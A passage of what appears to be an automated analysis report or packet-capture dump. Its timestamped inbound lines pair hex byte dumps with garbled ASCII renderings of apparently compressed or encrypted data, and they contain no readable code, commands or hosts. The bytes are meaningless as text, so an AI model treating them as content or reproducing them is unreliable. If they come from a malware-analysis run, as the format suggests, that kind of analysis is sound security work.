60 bd 18 17 34 21 84 92 fe a3 0b 92 7d 00 f6 5e 52 df a7 b0 ca 19 0f Data Ascii: v+,dS<2y6~m0i;\|nL[!S6Ej~Siw[(G5O.0^fcvJTDYFO;8[C ~Vw\|o=\|M!#bp2m![B(XGf)sD[Y>k_>zN$(rJ<@I^F7f-j,Z?N`4!}^R
2021-09-29 19:26:41 UTC	77	IN	Data Raw: 1e a7 7f 23 5f 66 8e ae cd be 8d bd c1 d5 1c b0 2f 03 f3 b1 8e bd 9e 37 b2 14 1e 26 e4 7e b1 aa 1b 63 b1 07 ba 7f 32 8d de 1b 22 15 8b 17 66 31 57 73 46 2f c5 98 a2 25 1d 90 38 d1 86 81 aa b7 27 28 9d c7 f8 72 cd cb a5 58 1a 72 47 c5 6d 76 56 4c a4 42 02 0f 5a a2 3f c9 dd 55 b5 09 65 39 1a b7 56 e9 7a 8a e7 2a 83 c0 c7 de 06 bf 22 2c bc 41 18 cc 0b 15 8e 0c a7 07 a4 f2 4c 72 4d 37 e5 d0 75 09 54 a1 39 a0 86 a2 c0 99 26 8d 1d 24 f1 e9 6b a4 3e cb c3 03 b0 06 0c 2c db 54 a8 46 28 79 d9 86 05 11 da 15 63 d5 76 d3 88 92 56 12 b6 76 cb 21 21 38 28 74 6b bd b9 6b 01 16 9e 00 b2 c4 7e 38 8e d6 83 c0 9b a5 80 18 00 19 a2 ac d7 c2 e4 77 b0 c7 fa b6 79 8e 98 bf 33 35 82 45 3c 19 60 fa e1 4e bd a3 55 19 8c 28 ed 34 cc b9 5a 26 17 35 4c ed 38 db ba 1c c3 38 32 a9 d6 Data Ascii: #_f/7&~c2"f1WsF/%8'(rXrGmvVLBZ?Ue9Vz*",ALrM7uT9&$k>,TF(ycvVv!!8(tkk~8wy35E<`NU(4Z&5L882
2021-09-29 19:26:41 UTC	79	IN	Data Raw: 28 c1 96 28 e0 70 e6 ad 22 4f cb c6 60 85 d5 f0 53 5e 4f ea 34 21 37 e9 83 05 92 c8 ab 20 7e 24 2a 19 1b c3 44 a8 bf 05 c4 1c 91 8b 43 67 a3 f9 0b e6 22 b0 97 2e b8 1d 6c 7e 04 e0 49 59 d5 ac b7 2a 15 23 94 2e 1e cb a5 82 b1 79 e8 1a 24 a6 d8 13 cd f2 0e ec ed 83 75 2e d8 de fa ad 45 e3 16 11 1c b3 9a 37 7e 9a 8c c1 03 97 f2 63 99 1b 20 8f 19 37 0c 54 da 85 0a 2d 76 75 51 e7 13 b1 77 23 19 95 1b 9b 1d fe dc 3f ec 6a 55 63 98 12 1a 2f 72 92 9c a0 a1 d9 68 58 91 25 02 3f a7 56 c5 aa 07 38 62 a9 e3 48 6d 7f 26 df 27 49 5b 3e bb e7 8b 08 14 44 82 b2 60 be ff d5 d2 6b 06 24 43 75 50 34 36 04 57 52 6c a2 9f c1 81 2e 4e 6b 2e c6 c3 b9 ba 84 39 54 e2 a6 91 e8 46 b2 4d e1 1a 51 ac c1 da 3f 33 1e 44 a0 53 6f 3c 29 a6 c6 7b 91 3f 44 41 1f c0 76 fe a8 5a 88 29 00 56 Data Ascii: ((p"O`S^O4!7 ~$DCg".l~IY#.y$u.E7~c 7T-vuQw#?jUc/rhX%?V8bHm&'I[>D`k$CuP46WRl.Nk.9TFMQ?3DSo<){?DAvZ)V
2021-09-29 19:26:41 UTC	80	IN	Data Raw: 7d ff 8b b4 1d e1 ef e9 3f 96 28 1e ea 86 cb a2 eb e3 1b d9 5f d1 dd a6 7d 3d c5 f9 cb 8a 88 87 fc 39 b5 82 45 2f b5 64 e5 81 51 85 3f f6 06 c5 26 9b a3 e1 bd 10 3e 0b 57 4b de 71 dc c0 80 c2 31 80 b7 f4 75 23 7e 5c e1 ab f3 ff 66 40 3b 8a 97 ab 2b a8 1f 3c 18 33 5d 5f ad a8 27 ce 90 ca 83 c8 ee 6b a6 59 1a 6e 12 99 ab 00 a6 4b 52 2c 2e 98 a8 76 f7 42 22 d9 a2 d4 09 56 a3 3a 4c 38 cf 3a 27 39 56 75 6c 87 30 11 a1 7b aa 05 78 8e 84 d8 a2 26 0c 53 9f c6 c5 ba 8c 78 4c 1d 71 2f 41 4f 75 56 83 fa 5e 09 5a 0b ff 51 36 1b 2a db 0a 44 31 a9 03 c3 92 be fc b6 14 c3 a7 fd bc 96 76 54 72 6a 22 46 aa 9a bd c5 cf 7d f2 fc 20 ef f3 46 d7 b4 05 75 23 c2 5a a4 ee 91 cb 86 e6 10 c1 4f 05 e8 10 44 f6 e9 a8 76 81 82 0c 38 8c a3 af 27 97 7c 4c 73 1f 47 d1 a4 86 c5 ea d6 11 Data Ascii: }?(_}=9E/dQ?&>WKq1u#~\f@;+<3]_'kYnKR,.vB"V:L8:'9Vul0{x&SxLq/AOuV^ZQ6*D1vTrj"F} Fu#ZODv8'\|LsG
2021-09-29 19:26:41 UTC	81	IN	Data Raw: d7 c3 48 22 23 5b 81 79 68 35 2f 53 7d 87 88 78 40 81 24 1b 69 97 c4 c0 ce 13 41 3b 50 ce 8e a2 e9 55 88 67 ca 30 51 a6 c2 f7 fa 31 0f 54 83 5f 74 3c 24 de 14 78 bd 37 5b 25 36 c5 60 0a be 19 a7 3c 0b 5c bb 6a cc 1b 57 1b c0 19 9f 6b 7c 69 18 57 1c 8c 9f 9f 6e 91 16 d4 cf 85 ae 0f 00 55 f3 f0 5a a5 86 77 65 0b a1 2d 1d 71 04 77 73 52 c9 29 c4 04 d3 3b 47 9a 8e 91 96 1f 8d 7b 09 7d 77 bd d0 a3 fe 8d b9 eb 7f 36 b0 2d 25 fb 9a 3c bd 96 2f 4c 15 32 28 e4 55 8e de 1b 69 b8 2f a6 81 97 83 c7 11 51 38 9e e9 6d 67 57 68 62 b4 c9 8e 5a f4 24 92 2f dc ae 9d b3 49 2c 6b b9 ee fa 53 2b 50 a1 70 64 1d 58 ce 7b ea 7e 2c c5 41 02 3d 35 89 3e 46 db 57 cb 35 6f 12 30 b4 79 be 81 8b cd 47 bc c9 c7 d3 71 12 22 00 b0 41 74 ce 1b 15 88 05 de 5f aa f2 4d 0b 94 34 c9 d8 0d 57 Data Ascii: H"#[yh5/S}x@$iA;PUg0Q1T_t<$x7[%6`<\jWk\|iWnUZwe-qwsR);G{}w6-%</L2(Ui/Q8mgWhbZ$/I,kS+PpdX{~,A=5>FW5o0yGq"At_M4W
2021-09-29 19:26:41 UTC	82	IN	Data Raw: 07 5e f5 5b f0 2c 5c 61 6e c2 13 b6 65 cb 2b b2 10 98 d6 d1 3f 3b f8 26 55 63 96 10 f2 29 71 e9 1b b1 ad b2 71 5a 91 2f 7e ed a4 56 e7 bf 34 36 63 ae f2 55 14 47 0f c4 2d 21 80 c0 ba c1 98 1c 08 92 96 a8 8f b3 c2 c4 fb 68 f9 dc a4 82 42 1c 22 23 44 7d a7 d2 e5 40 87 0e b5 41 0c c4 f3 cc 2a 80 11 22 c9 a6 97 e4 44 86 5e e5 24 3e 9f c3 df 35 5c 38 50 ab 72 52 2d 2a a0 3c 6c d2 0e 5e 4a 15 a8 57 02 a9 7c ac 2f 0f 47 b8 13 8a 2a 55 11 dd 19 86 6b 7c 69 39 29 31 9f 9b 83 17 cd 3b d6 c5 e0 9e 62 30 5d d5 eb 78 8a 9b 47 67 0d a7 3b 76 50 03 66 7c 2c 9a 3f ab 3d be f2 4d f5 b3 85 68 14 81 6a 0c 6c 61 9b bc 90 bc 8d b3 84 e4 34 b0 36 15 e6 b5 24 cf 9f 37 b4 0c c6 35 ec 40 b7 a0 0c b3 a1 3e a2 5a 26 9e cf 19 40 34 9f 78 5f 49 55 7a 01 83 c3 98 ae d3 19 9d 2f 06 bd Data Ascii: ^[,\ane+?;&Uc)qqZ/~V46cUG-!hB"#D}@A"D^$>5\8PrR-<l^JW\|/G*Uk\|i9)1;b0]xGg;vPf\|,?=Mhjla46$75@>Z&@4x_IUz/
2021-09-29 19:26:41 UTC	83	IN	Data Raw: 2f 62 3f 45 a5 dd 74 86 2c 3a 46 14 51 2b 32 78 7a e7 61 91 23 8b a1 48 e5 0b 21 04 80 bc 3c 06 be 57 9b d1 83 2d 0f 25 44 fa 13 22 5c 15 7d 64 19 f8 56 88 46 6c 6b 44 2e 6c 46 8a 91 55 f4 f7 2e ca 1f bd f2 ee 36 0d 61 fd bc 0e 61 4c bc 7e a9 9a a8 a5 c6 79 73 84 ed 9d 00 4c ec 59 88 4b 5c 68 3a 1b 20 38 ec 9f af b1 81 81 c8 52 c6 8c dd 40 62 fe a0 61 57 12 1b 21 fe 55 15 21 9e 6b 0a 78 2b 05 c8 f7 3b d2 f0 a0 08 19 ab b6 e4 40 fe 81 39 83 54 35 38 71 ff 76 5b 4d dc 92 f7 5b b1 e9 51 4b 6c a4 49 bd 56 e6 ac b1 db 26 3f 12 62 4c 74 c1 d2 b7 13 1f 9b 7a a1 a8 e6 2b 7e 26 67 11 2a c1 b8 02 c2 72 e0 d0 5c 5e dd c9 61 a4 d7 df 53 a0 4e cc 34 2e 41 6a 84 13 68 e3 94 12 6b 2f 02 1e 03 3d 4d 84 bd 3f d0 3c 59 93 54 0a eb 10 60 34 21 82 9c 2e ac 3b 96 7f 58 e2 5e Data Ascii: /b?Et,:FQ+2xza#H!<W-%D"\}dVFlkD.lFU.6aaL~ysLYK\h: 8R@baW!U!kx+;@9T58qv[M[QKlIV&?bLtz+~&g*r\^aSN4.Ajhk/=M?<YT`4!.;X^
2021-09-29 19:26:41 UTC	84	IN	Data Raw: be da 03 98 84 8d 6a 65 61 7b 09 79 62 fe ee a1 be 87 a8 ee a0 08 b2 3c 39 df f1 0e bd 94 3e a4 82 6d 18 e4 56 ac 82 5b 6b b2 20 b8 40 9b fb e0 1f 51 3a a1 57 6e 4b 5f 79 76 22 b2 a6 a6 f5 02 b8 78 d2 ae 9f a3 ae bb 34 85 c7 f8 72 cd 17 a7 58 1a 35 19 c6 6d 7a 5d 25 63 f4 6d 1f 34 89 34 b4 0d 57 da 27 7b 07 0f bb 7e b8 70 95 db bb a5 ee b0 d6 12 25 23 2c be 4b 66 e2 dc 9a a3 0f 8f 44 89 e3 4b 1d 60 37 9e 1c 1a 5c 51 a7 4c 9f eb 88 cb 88 25 fd 0b 64 f4 e3 45 8b 1b c9 c9 00 c9 c7 7e 12 df 7e a2 6e 7b 4b db 8c 24 06 4c 66 58 d7 76 c8 b6 d9 7f 09 bc 78 c4 49 53 2a 28 6c 6a 95 fe 7f ff 1d bb 1b 33 bc 40 3d 96 22 aa ac 9b 8e 88 1b a2 19 d9 c9 de d8 76 ea fd d3 f8 cb 1c f3 4e bb 19 31 9d 7e 3c 26 62 eb c6 51 f6 5d f1 35 81 28 f7 2e e9 9c eb 27 00 cb 52 8d 29 cc Data Ascii: jea{yb<9>mV[k @Q:WnK_yv"x4rX5mz]%cm44W'{~p%#,KfDK`7\QL%dE~~n{K$LfXvxIS*(lj3@="vN1~<&bQ]5(.'R)
2021-09-29 19:26:41 UTC	86	IN	Data Raw: ad cc 3a 71 31 8a 20 04 c2 8a 11 cd 72 f4 df 43 63 35 c3 66 fc d5 a3 8d 5e 4f e4 3e 27 4e bc 0c 2e 96 e2 ba 38 38 26 02 13 19 b8 8a a8 bf 10 d4 64 87 92 43 6a a5 02 79 f4 22 a8 96 06 ff 09 92 75 00 a3 5c 52 df a2 b9 42 a3 60 80 04 1c ea 3b 52 ca 06 ec 05 0d 9f f5 11 df 80 6e d4 13 86 73 27 e0 40 e8 9d 47 fc 07 02 13 b3 83 38 61 cc 64 cb 04 bb f0 66 9f ef 3b cc 9f 2e 07 52 ae ae f6 2c 50 09 03 ee 13 bc 47 9b 1a b9 13 b2 64 12 3f 3d 93 99 1d 61 9c 32 10 64 73 ef 16 88 eb df 42 52 fe a0 10 0f a3 49 a5 b9 08 38 7b a6 fc 4b 85 75 21 89 25 35 85 c0 ba cf 81 01 1b 92 0a 8f 9e bf d1 d5 c3 ec 40 23 5b 8a 40 10 32 a3 13 79 8f a1 cc f7 81 2e 40 69 3f c5 c0 ce 2c 08 06 50 c8 a7 b9 db 54 82 45 c9 68 51 ac cb ce 39 1b 55 52 ab 72 1b be 2f b1 3e 07 6c 3d 5c 4e 00 d4 73 Data Ascii: :q1 rCc5f^O>'N.88&dCjy"u\RB`;Rns'@G8adf;.R,PGd?=a2dsBRI8{Ku!%5@#[@2y.@i?,PTEhQ9URr/>l=\Ns
2021-09-29 19:26:41 UTC	87	IN	Data Raw: 20 14 2b 7f 69 bf c5 b6 ff 17 b6 0b b4 c9 a8 b0 bc 28 82 ee 9b 89 0e 75 e3 1b d8 d2 db c5 6c 1b 92 c5 f8 e3 a1 8e 98 b1 31 06 83 45 25 3e ee c5 c9 4e bc 8b c3 18 8c 33 d3 65 e7 a2 50 30 09 e3 17 c1 3a c9 de 9e c5 2e ca d5 35 e9 25 65 16 72 85 6f f9 78 1f 2d de 87 eb 34 e7 01 63 33 35 42 05 9a b4 ba c8 85 8c 10 f8 72 6d b8 23 36 0e 8e 95 9c 10 84 bd 58 27 2c 03 2a 06 22 5c 3f 43 28 f4 5c 76 2c 29 40 29 5f 14 29 6f 76 f0 7f 8e 32 8a 23 75 f1 32 7e 12 82 cd 95 84 bf 53 99 d5 51 bb 1f 67 53 20 ec 38 52 3d dd 77 1f f6 56 de 7a 7f 63 56 01 74 34 9b 9c 6a 8a f4 1c 82 1d b3 f5 64 0b 76 a7 fc af 0d 48 cb 2c 76 be 51 b0 8e 23 ab 53 7a fc 9a 28 1e f3 46 dd 3f d5 e7 68 dd 20 3a c0 cc aa a6 51 64 e5 4f 99 f5 1c 25 c7 6b bf fa be 1e 0a 26 c1 b0 07 27 9d 6f dc 77 11 2d Data Ascii: +i(ul1E%>N3eP0:.5%erox-4c35Brm#6X',*"\?C(\v,)@)_)ov2#u2~SQgS 8R=wVzcVt4jdvH,vQ#Sz(F?h :QdO%k&'ow-
2021-09-29 19:26:41 UTC	88	IN	Data Raw: 1c 37 b8 a6 9e b5 ca bd b6 5e 04 23 51 a3 11 1a 34 25 7d 38 8d a0 ee 58 ee aa 4b 41 0a b7 fd c6 3b 8e 47 15 ca a6 9b c0 13 80 4f eb 1a 16 ae c1 d5 2c 3c 19 43 a4 6b 67 2f 3e 9a 56 78 be 4e 61 48 1f cd 7f 0c c3 05 b4 3c 0b 5c 94 45 e7 19 5d 00 c7 6e 69 1a 34 61 1f 32 1d ce 9d 95 72 d6 78 d4 cf 85 b1 0f b4 56 f3 fc fb b1 e7 44 65 08 ba 24 1c 94 82 6d 16 b9 9e 29 c2 7d 81 f0 47 90 fa c2 6a 1e ad 53 4f 7f 64 87 d1 d8 79 8d b9 ef a0 7e b2 3c 39 df f8 0e bd 94 1f f8 16 1e 2c 89 d0 a7 aa 1d 4f a3 3a a6 81 1e 98 cf 0d 40 23 b8 9b 6e 49 56 03 53 b6 c1 92 ba 9f 7b ae 3a d0 a4 bd ea b5 2d 4d 93 84 fa 78 ef 4d ca dc 11 1d 5e b7 50 72 54 35 8b 06 00 09 3f a1 78 cb db 5d d8 58 a3 39 1c b0 0d e1 7d 8a eb 6d ed c0 c7 de 41 a6 21 2c b0 2c f1 e7 0a 13 ae 18 85 98 af da 7d Data Ascii: 7^#Q4%}8XKA;GO,<Ckg/>VxNaH<\E]ni4a2rxVDe$m)}GjSOdy~<9,O:@#nIVS{:-MxM^PrT5?x]X9}mA!,,}
2021-09-29 19:26:41 UTC	89	IN	Data Raw: aa 88 0e a9 f5 fb 30 4e 72 fd bc 0a 70 5a 29 61 40 41 99 f9 ba b8 57 7b fc 99 1b ba f2 6a c9 2a 78 a6 41 dd 24 30 72 e1 af a7 5b 1a c5 20 9e ef 0f 2a b9 2e aa 76 8b 08 39 0e f5 90 02 27 86 78 cf 7c fe 20 e2 d2 12 ca c4 64 11 11 c3 74 e4 51 fe 88 c0 13 70 27 f7 66 b9 01 8d 6d 32 96 e9 a5 b8 da 46 1c 18 2d f1 3e 4e f2 bd 67 d9 25 31 1f 8d 45 77 4d c5 a7 45 5c a7 7b a1 bd c7 38 7a 26 65 25 34 3f 93 2e c7 7a ef cd 4f 4b cb d3 4e a2 29 d9 68 5b 64 3e 28 25 4e 6a 92 01 8f 1c b9 3c 72 32 00 62 d7 c3 4c ac 31 a3 df 1b a0 83 47 60 a5 03 10 34 21 84 99 05 32 10 81 7b 28 f3 5a 4d de 55 ae f8 12 1b bc 1a 10 f3 42 80 db 02 fe e4 21 a0 f9 06 dd 8b 71 fd e9 98 53 d0 d9 f2 eb b6 42 db 18 ee e3 4c 90 34 78 e4 13 cb 28 8a d8 64 9d d5 25 a3 05 2e 07 54 6a 93 f4 3d 4c 64 43 Data Ascii: 0NrpZ)a@AW{jxA$0r[ .v9'x\| dtQp'fm2F->Ng%1EwME\{8z&e%4?.zOKN)h[d>(%Nj<r2bL1G`4!2{(ZMUB!qSBL4x(d%.Tj=LdC
2021-09-29 19:26:41 UTC	91	IN	Data Raw: 9a 12 d0 ae 86 9a b5 2d 75 bb c5 f8 7d e5 57 b4 4e 1b 36 43 c4 6a 67 aa 3e d9 41 1a 02 35 8e 28 37 da 7b d8 34 6f 39 1b ac 80 a8 53 88 ca 47 8f 21 c5 af 3b ee 23 26 c4 31 76 e6 00 3d e6 0e 8f 4c 8b f2 4a 0e 5a 37 e5 ea 1a 5c 55 a4 3f a2 f8 9e ca b2 3b 8e 32 71 0a e8 41 c9 01 c2 c3 0e c9 af 0c 00 df 69 a3 46 3c 51 25 87 01 13 f1 17 4d 36 74 b9 cc 9b 7d 03 9e e4 dd df 26 02 d4 6d 4a a6 8e 77 ff 04 b3 02 a5 75 7e 3f 87 2a fc de 99 8e 86 4d d0 1b d9 c7 a9 ec e0 5d 96 aa 63 ca 16 88 94 b9 11 36 90 46 40 b2 63 fa cf 5d b9 b1 f0 1d 89 37 fe 17 f8 a0 5a 27 06 d8 41 c3 32 ac 28 1d c4 28 db 72 ed 3f a8 4a 11 fe c2 7c f0 6f 1d 2e d0 05 a9 3a e3 8e fc 96 35 53 06 a3 8e 35 7f 9b 8d 8e cd 64 45 d7 0b 05 09 9d 94 a5 58 90 43 51 3f 28 15 a8 45 b4 75 eb 41 a4 cd 4d 7d a1 Data Ascii: -u}WN6Cjg>A5(7{4o9SG!;#&1v=LJZ7\U?;2qAiF<Q%M6t}&mJwu~?*M]c6F@c]7Z'A2((r?J\|o.:5S5dEXCQ?(EuAM}
2021-09-29 19:26:41 UTC	92	IN	Data Raw: a5 3f 34 d3 79 d5 ab ae d9 0b 02 85 0f 1c f1 4c 9f d8 f8 e9 36 28 9d ff 3c 46 90 62 ff e7 87 4e 24 c3 20 e8 b1 4f db 2a ee e3 4c 8e 24 74 8b 8b c0 3f 72 f3 48 8d fd 32 a9 1b 3e 0d 4b d2 6d f5 00 5d 61 55 e4 0c a6 7c d7 18 a8 13 a8 e1 d4 13 38 81 e1 4c 70 96 38 29 27 6f 11 1d 8c a8 e5 f8 a6 6e da 0e 06 b6 5c ed bb 0d 27 7b 57 e2 75 70 65 04 d5 2f d4 5f c5 a5 d9 9a 1a 1f 55 8f bb 90 41 d2 fb c2 63 15 2a 44 84 42 12 34 3e 5f 6f 71 a1 c8 43 96 3d 40 41 1d ce df dc c5 85 15 52 e3 a3 a9 ae ab 7d b0 e8 18 42 9c c3 df 17 33 0f 52 14 78 74 2d 38 ba 13 61 bd 3a 4b b4 1e eb 62 18 a2 76 8d 28 f5 57 90 07 f2 12 57 16 cf 88 b0 45 7e 48 1d 13 d6 8c e4 42 78 fe 3d fc ed 8d aa 1d e7 57 f3 fe 56 a2 e9 46 74 3b a9 2a 5a 43 06 77 b9 3d 9f 38 d2 05 97 e9 47 9d 93 79 69 32 a5 Data Ascii: ?4yL6(<FbN$ OL$t?rH2>Km]aU\|8Lp8)'on\'{Wupe/_UAcDB4>_oqC=@AR}B3Rxt-8a:Kbv(WWE~HBx=WVFt;*ZCw=8Gyi2
2021-09-29 19:26:41 UTC	93	IN	Data Raw: 73 e9 c5 3c 4e 0d c3 17 40 a8 fa e9 27 1a cd fe c3 6b fb 02 d2 24 d9 0f 23 83 f0 da d1 97 3b 40 74 6f 87 bb cc a3 80 8d c1 75 7c bd 1a 0b 7b bc 9f b4 51 84 c6 8b 2c 2e 00 86 1c a3 5d 39 56 ae e0 48 67 2b 3d 5d 3c 42 32 4c 5d 76 fa 6e 93 18 f8 a7 64 fb 09 2e 03 88 d1 d4 09 bd 42 95 ce 71 13 92 21 55 06 fb 3a 59 3e 44 71 32 e5 50 54 54 7a 4b f9 28 47 33 bd 9f 6e 30 e5 1a 81 18 d7 8b ea 34 7c 81 d6 ae 09 78 63 f5 72 be 46 9d de a2 ab 59 53 43 9c 00 42 d5 98 98 3e 10 6d 9f 97 08 0f e8 8e a2 b0 48 17 c2 6f 98 ee 0f a0 fe b4 ac 76 87 36 a5 26 e9 85 20 f9 9b 54 e7 75 00 2b e6 e2 1a c3 ff 6f 0e 33 e8 70 e4 4a 24 8c 2f 15 70 28 f3 6a a3 3a 31 6c 23 94 dc 56 ba de 3d 14 0f fd ec 27 6f 92 b9 67 ce fd 04 15 73 05 27 46 c3 b2 05 37 a7 50 a1 a2 cc 1e 7e 26 74 41 28 c1 Data Ascii: s<N@'k$#;@tou\|{Q,.]9VHg+=]<B2L]vnd.Bq!U:Y>Dq2PTTzK(G3n04\|xcrFYSCB>mHov6& Tu+o3pJ$/p(j:1l#V='ogs'F7P~&tA(
2021-09-29 19:26:41 UTC	95	IN	Data Raw: 59 0e d6 71 15 87 20 9b 2c 1a 47 ab d3 8a 11 56 11 dd 72 99 07 7e 63 15 15 27 80 9b d3 54 f7 3d f6 74 8e a9 60 64 7c f7 fe 63 f2 bd 6d 48 08 a3 3c 63 52 69 98 79 3d 95 78 cc 1f ad e5 91 f5 8c 86 68 14 a3 53 67 7f 64 87 fe b1 b0 89 ff c7 da 32 90 87 32 f7 b1 58 96 9a 33 ad 44 4a 31 cc 47 a3 80 1b 69 b3 3a b1 57 0f 88 de 1c 2b 4a 88 19 6c 4b 55 70 7d 84 c8 98 e5 f7 08 90 fe d0 ae 84 bc a4 26 7f 67 c5 f8 78 e5 46 ae 42 ee 1c 74 ca 4d 70 74 3f f5 ce 29 09 35 88 35 d2 c8 5c da 32 6f 25 e2 b5 52 a0 5f 8a c1 45 a4 ce da c7 62 ec 32 27 a5 49 89 e7 26 36 99 0b 82 44 a6 86 58 1d 6a 2e f4 de 12 4a 3a ce 3d a2 e3 9b c7 88 26 98 75 f2 f4 e9 6d dd 33 d6 c8 1a d4 51 1c 27 c3 80 a9 6a 2e 4b fb 86 2d 11 5a 3d b0 d1 76 c4 b6 36 7c 09 b0 57 c3 d6 33 1f 2a 7d 6b a5 40 7c d3 Data Ascii: Yq ,GVr~c'T=t`d\|cmH<cRiy=xhSgd22X3DJ1Gi:W+JlKUp}&gxFBtMpt?)55\2o%R_Eb2'I&6DXj.J:=&um3Q'j.K-Z=v6\|W3*}k@\|
2021-09-29 19:26:41 UTC	96	IN	Data Raw: c3 45 03 21 13 db 1a c3 3d b1 0e 0a c6 63 e2 78 35 91 3e 12 5c 33 e4 73 b4 ec 88 41 32 90 e6 5f cd 6f 4e 14 0e 86 19 21 47 e5 a6 72 db 27 2e 04 75 5b 4d b8 c2 9e 0e 35 b3 06 46 a2 cc 2f 61 31 67 27 28 d0 94 1c 3c 73 c9 c0 5e 34 20 c2 4a bb c0 a5 a9 5e 4f e4 29 3f 59 6c 83 14 90 fd b6 ee 7d 08 04 0d 16 dc 43 bb b9 14 c3 11 a5 99 bd 61 98 0c 08 de 5d 43 9c 2e bb 14 98 6c 2e e2 4f 54 cd 55 ae f8 1f 0d ed e9 1c e0 42 ac d5 1f fb 1c 20 9d fc 0e df 71 70 c0 e6 85 58 53 3d de e9 99 58 f1 2d 17 1c a2 94 2d 80 8a b6 cf 3f 80 e9 77 88 e5 30 a5 04 3d f9 55 f1 94 e0 3f 5e 68 55 ff 15 b6 7e db 05 47 18 9c 15 d7 39 40 7b ea 55 67 82 2b 3e 2d 60 e9 05 5e a0 f1 46 72 8b 36 17 0f b4 50 f2 a1 f9 39 46 a6 e1 22 9d 74 0d c0 0f 3d 4c c0 bc d4 85 03 19 44 94 a2 81 b0 2d d6 e9 Data Ascii: E!=cx5>\3sA2_oN!Gr'.u[M5F/a1g'(<s^4 J^O)?Yl}Ca]C.l.OTUB qpXS=X--?w0=U?^hU~G9@{Ug+>-`^Fr6P9F"t=LD-
2021-09-29 19:26:41 UTC	97	IN	Data Raw: 52 a0 f2 4e 0b 14 21 e4 da 1e d2 e2 b6 e5 af e2 a3 ee 9e 98 84 23 6a f2 fe 32 dd 2f c5 e3 29 5c e9 e0 2a ca 1a c9 4c 10 4d dd 91 49 1b d2 02 b0 d9 7e df af 7b 03 1d b7 71 d8 d8 26 8a 2d 7b b6 b6 b9 74 ce da 98 02 a5 dc 4e 3c 96 60 82 ec 99 43 82 33 f2 0d d4 e8 97 c2 e9 45 6c c4 d5 c3 65 02 98 bb 13 3e 9b 48 2f 20 75 04 c8 62 bf bb fd 19 85 20 05 3e cb ad 5d 09 2e c9 4d c7 2c eb 70 1d c4 28 c0 b2 f7 e9 2c 77 ef ff ef 6d ee 74 0e 2d c3 f5 ac 18 e5 2b 49 af 8b 4a 25 a1 b7 b8 c8 10 9b 9c c7 bf 6d b9 1a 13 02 b6 0e b4 53 86 bd 5b 3b d0 05 82 6b bb 50 3f 4c bf 35 5d 5a 20 32 32 ab 53 3c 32 12 79 fb 6c 83 2c 80 a7 6d e5 e4 25 3e 89 c5 e2 1f cd 0a 9f c6 53 b7 8a 2c 53 29 f3 d7 5f 39 60 7f 1d 81 4c 53 45 7b 7c 5e 24 47 3c 82 68 43 02 ff 1b 8b 18 90 22 e9 34 70 ab Data Ascii: RN!#j2/)\*LMI~{q&-{tN<`C3Ele>H/ ub >].M,p(,wmt-+IJ%mS[;kP?L5]Z 22S<2yl,m%>S,S)_9`LSE{\|^$G<hC"4p
2021-09-29 19:26:41 UTC	98	IN	Data Raw: 69 b7 bc 8a a5 f5 0c 97 3c ad bd 94 aa b3 2a 28 60 c4 f8 7e c9 55 a2 72 14 30 5e c3 02 b8 55 3f f3 30 81 0b 35 83 44 c9 c8 67 dc 23 53 39 1c b4 af a9 7f 9b e3 3e b6 c3 c7 d0 7e df 28 04 67 47 77 e0 79 97 8a 0f 85 3c a5 eb 53 6e 33 35 e5 d0 11 5e 56 a4 38 a6 c1 0c c3 99 2a 80 31 09 31 e8 6d cd 3f ce ac 74 df 51 07 2a f7 7e bb 76 3d 49 f4 86 2d 11 08 15 66 c4 60 c9 b5 82 7d 0e a1 8f dd f3 22 0c 21 6c 67 ab 40 7c d3 15 a5 09 a5 c8 66 c1 97 04 80 c7 9b a5 61 31 e0 1f dc cd d3 cc e5 32 54 c4 f9 cd 3c 8e 8b 8b 1a 35 4a 45 2f 29 b1 fa c9 5f bf d8 e2 18 8c 3d ec 0c ec 8a 84 25 00 cd 3e 43 38 c3 bb 66 b7 f2 cd a8 fc e2 22 62 6c e7 c2 6f fd 7e 0c 5f d3 0a ad 30 9a 25 4a 84 31 45 0d b6 e8 61 c9 8f 9d e1 dd 73 6d bd 05 00 27 01 9e b4 59 aa b0 55 52 bd 04 ae 63 de 79 Data Ascii: i<(`~Ur0^U?05Dg#S9>~(gGwy<Sn35^V811m?tQ*~v=I-f`}"!lg@\|fa12T<5JE/)_=%>C8f"blo~_0%J1Easm'YURcy
2021-09-29 19:26:41 UTC	99	IN	Data Raw: 30 a9 9c 2a b9 14 82 a9 00 f1 5f 52 df b8 aa d6 6f 1f 97 05 18 e6 59 94 1c 2e fb 1b 20 86 94 02 ca 8d 0a fc ec 87 5b 28 c7 c6 3f b5 54 e2 3e 1b 72 a0 98 35 05 9b 9b ca 2c 8a ed 78 58 cd ab a1 1b 25 14 5d df e8 e4 2d 5a 73 40 f3 0d 60 47 57 1a b9 13 a3 17 d7 44 2d 96 ea 51 65 83 18 ee 05 fb ed 1c aa ac df 39 48 90 25 15 09 ba 7c 3b 82 14 39 6a a3 f0 52 64 5a 1c cd f1 5f 44 16 b3 1d 31 03 13 46 94 aa f1 69 d2 d7 c3 73 09 32 5c a7 58 30 a3 2f 55 73 9c a6 cf 47 ff 3b 4b 41 08 d7 c6 b7 e7 85 39 56 db b7 80 f9 44 8f 32 f8 33 51 a8 d0 ce 2e 35 0d 29 bb 79 74 38 28 ae 16 ac ac 34 33 5c 1e c7 6a 7d b3 77 8a 3a 1a 47 be 14 ee 76 98 10 d7 70 df 14 62 62 1f 3c 24 9f 8e 9f 05 e5 38 d6 cb 9e b8 71 34 2a ef fb 7c a6 f8 57 76 00 c5 57 6f 42 06 73 68 2c 8e 25 b9 11 bd f2 Data Ascii: 0_RoY. [(?T>r5,xX%]-Zs@`GWD-Qe9H%\|;9jRdZ_D1Fis2\X0/UsG;KA9VD23Q.5)yt8(43\j}w:Gvpbb<$8q4\|WvWoBsh,%
